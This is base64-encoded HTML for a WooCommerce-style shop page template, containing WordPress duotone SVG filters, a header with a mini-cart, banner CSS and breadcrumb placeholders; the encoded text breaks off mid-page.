g3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1wdXJwbGUteWVsbG93Ij4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNTQ5MDE5NjA3ODQzMTQgMC45ODgyMzUyOTQxMTc2NSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjcxNzY0NzA1ODgyMzUzIDAuMjU0OTAxOTYwNzg0MzEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWJsdWUtcmVkIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjI3ODQzMTM3MjU0OTAyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjU5MjE1Njg2Mjc0NTEgMC4yNzg0MzEzNzI1NDkwMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtbWlkbmlnaHQiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNjQ3MDU4ODIzNTI5NDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtbWFnZW50YS15ZWxsb3ciPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC43ODAzOTIxNTY4NjI3NSAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuOTQ5MDE5NjA3ODQzMTQiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuMzUyOTQxMTc2NDcwNTkgMC40NzA1ODgyMzUyOTQxMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtcHVycGxlLWdyZWVuIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNjUwOTgwMzkyMTU2ODYgMC40MDM5MjE1Njg2Mjc0NSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjQ0NzA1ODgyMzUyOTQxIDAuNCIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtYmx1ZS1vcmFuZ2UiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC4wOTgwMzkyMTU2ODYyNzUgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjY2Mjc0NTA5ODAzOTIyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjg0NzA1ODgyMzUyOTQxIDAuNDE5NjA3ODQzMTM3MjUiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPGRpdiBjbGFzcz0icGFnZS13cmFwcGVyIHNpZGUtbmF2Ij48IS0tIHBhZ2Ugd3JhcHBlciAtLT4NCg0KICAgIDwhLS0gaGVhZGVyIHdyYXBwZXIgLS0+DQogICAgPGRpdiBjbGFzcz0iaGVhZGVyLXdyYXBwZXIgaGVhZGVyLXNpZGUtbmF2IHNpZGUtbmF2LXdyYXAiPg0KICAgICAgICA8aGVhZGVyIGlkPSJoZWFkZXIiIGNsYXNzPSJoZWFkZXItc2lkZSBzdGlja3ktbWVudS1oZWFkZXIiIGRhdGEtcGx1Z2luLXN0aWNreQ0KICAgICAgICAgICAgICAgIGRhdGEtcGx1Z2luLW9wdGlvbnM9InsmcXVvdDthdXRvSW5pdCZxdW90OzogdHJ1ZSwgJnF1b3Q7bWluV2lkdGgmcXVvdDs6IDk5MiwgJnF1b3Q7Y29udGFpbmVyU2VsZWN0b3ImcXVvdDs6ICZxdW90Oy5wYWdlLXdyYXBwZXImcXVvdDssJnF1b3Q7YXV0b0ZpdCZxdW90Ozp0cnVlLCAmcXVvdDtwYWRkaW5nT2Zmc2V0Qm90dG9tJnF1b3Q7OiAwLCAmcXVvdDtwYWRkaW5nT2Zmc2V0VG9wJnF1b3Q7OiAwfSI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItbWFpbiBzaG93LW1pbmljYXJ0Ij4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyLWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dWwgaWQ9Im1lbnUtbWFpbi1tZW51IiBjbGFzcz0ic2lkZWJhci1tZW51Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e3Byb2R1Y3RfY2F0ZWdvcnl9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJtb2JpbGUtdG9nZ2xlIiBhcmlhLWxhYmVsPSJNb2JpbGUgTWVudSIgaHJlZj0iIyI+PGkgY2xhc3M9ImZhcyBmYS1iYXJzIj48L2k+PC9hPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkLXhsLW5vbmUgZC1sZy1ub25lIGlubGluZS1ibG9jayI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ibWluaS1jYXJ0IiBjbGFzcz0ibWluaS1jYXJ0IHNpbXBsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtaGVhZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iY2FydC1pY29uIj48aSBjbGFzcz0ibWluaWNhcnQtaWNvbiBwb3J0by1pY29uLXNob3BwaW5nLWNhcnQiPjwvaT48c3Bhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iY2FydC1pdGVtcyI+MDwvc3Bhbj48L3NwYW4+PHNwYW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iY2FydC1pdGVtcy10ZXh0Ij4wIGl0ZW1zPC9zcGFuPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJ0LXBvcHVwIHdpZGdldF9zaG9wcGluZ19jYXJ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldF9zaG9wcGluZ19jYXJ0X2NvbnRlbnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtbG9hZGluZyI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2hlYWRlcj4NCg0KICAgIDwvZGl2Pg0KICAgIDwhLS0gZW5kIGhlYWRlciB3cmFwcGVyIC0tPg0KDQogICAgPGRpdiBjbGFzcz0iY29udGVudC13cmFwcGVyIj4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJiYW5uZXItY29udGFpbmVyIG15LWJhbm5lciI+DQogICAgICAgICAgICA8ZGl2IGlkPSJiYW5uZXItd3JhcHBlciIgY2xhc3M9IiI+DQogICAgICAgICAgICAgICAgPHN0eWxlPi5lbGVtZW50b3ItNTIyIC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0wNzQ5YjYwID4gLnBvcnRvLWliYW5uZXIgew0KICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTUyMiAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMDc0OWI2MCB7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDIwcHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDBweDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTUyMiAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtZjdmZWQ2OSAucG9ydG8taWJhbm5lci1sYXllciB7DQogICAgICAgICAgICAgICAgICAgIHdpZHRoOiA2NCU7DQogICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IHJpZ2h0Ow0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItNTIyIC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC1lNzQ2MmY1IC5lbGVtZW50b3ItaGVhZGluZy10aXRsZSB7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjRUU4Mzc5Ow0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMzc1ZW07DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgLmVsZW1lbnRvci01MjIgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LWJiMzYyMzMgLmVsZW1lbnRvci1oZWFkaW5nLXRpdGxlIHsNCiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjg1ZW07DQogICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjVlbTsNCiAgICAgICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0wLjVweDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTUyMiAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMTE0YWI2ZCAuZWxlbWVudG9yLWhlYWRpbmctdGl0bGUgew0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMTI1ZW07DQogICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjVlbTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogOTkxcHgpIHsNCiAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci01MjIgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LWJiMzYyMzMgLmVsZW1lbnRvci1oZWFkaW5nLXRpdGxlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAtMC4zcHg7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogMTQ0MHB4KSB7DQogICAgICAgICAgICAgICAgICAgIC5ob21lLW1pZC1iYW5uZXIgew0KICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNDBweCAhaW1wb3J0YW50DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9PC9zdHlsZT4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3J0by1ibG9jayBlbGVtZW50b3IgZWxlbWVudG9yLTUyMiIgZGF0YS1pZD0iNTIyIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIj48L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPHNlY3Rpb24gY2xhc3M9InBhZ2UtdG9wIHBhZ2UtaGVhZGVyLTYiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGhpZGUtdGl0bGUiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0xMiBjbGVhcmZpeCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwdC1yaWdodCBkLW5vbmUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMSBjbGFzcz0icGFnZS10aXRsZSI+U2hvcDwvaDE+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJyZWFkY3J1bWJzLXdyYXAgcHQtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJicmVhZGNydW1iIiBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHBzOi8vc2NoZW1hLm9yZy9CcmVhZGNydW1iTGlzdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iaG9tZSIgaXRlbXByb3A9Iml0ZW1MaXN0RWxlbWVudCIgaXRlbXNjb3BlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdGVtdHlwZT0iaHR0cHM6Ly9zY2hlbWEub3JnL0xpc3RJdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Y29sbGVjdGlvbl9icmVhZGNydW1ifX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtZXRhIGl0ZW1wcm9wPSJwb3NpdGlvbiIgY29udGVudD0iMSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImRlbGltaXRlciBkZWxpbWl0ZXItMiI+PC9pPjwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBpdGVtcHJvcD0iaXRlbUxpc3RFbGVtZW50IiBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHBzOi8vc2NoZW1hLm9yZy9MaXN0SXRlbSI+PHNwYW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdGVtcHJvcD0ibmFtZSI+U2hvcDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtZXRhIGl0ZW1wcm9wPSJwb3NpdGlvbiIgY29udGVudD0iMiIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG1ldGEgaXRlbXNjb3BlIGl0ZW10eXBlPSJodHRwczovL3NjaGVtYS5vcmcvVGhpbmciIGl0ZW1wcm9wPSJpdGVtIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudD0ic2hvcCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L3NlY3Rpb24+DQoNCiAgICAgICAgPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImNvbHVtbjIgY29sdW1uMi1yaWdodC1zaWRlYmFyIHdpZGUgY2xlYXJmaXgiPjwhLS0gbWFpbiAtLT4NCg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgbWFpbi1jb250ZW50LXdyYXAiPg0KDQogICAgICAgICAgICAgICAgICAgIDwhLS0gbWFpbiBjb250ZW50IC0tPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQgY29sLWxnLTkiPg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSJjb250ZW50LWFyZWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtYWluIGlkPSJjb250ZW50IiBjbGFzcz0ic2l0ZS1tYWluIj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Indvb2NvbW1lcmNlLW5vdGljZXMtd3JhcHBlciI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNob3AtbG9vcC1iZWZvcmUiPjxhIGhyZWY9IiMiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwb3J0by1wcm9kdWN0LWZpb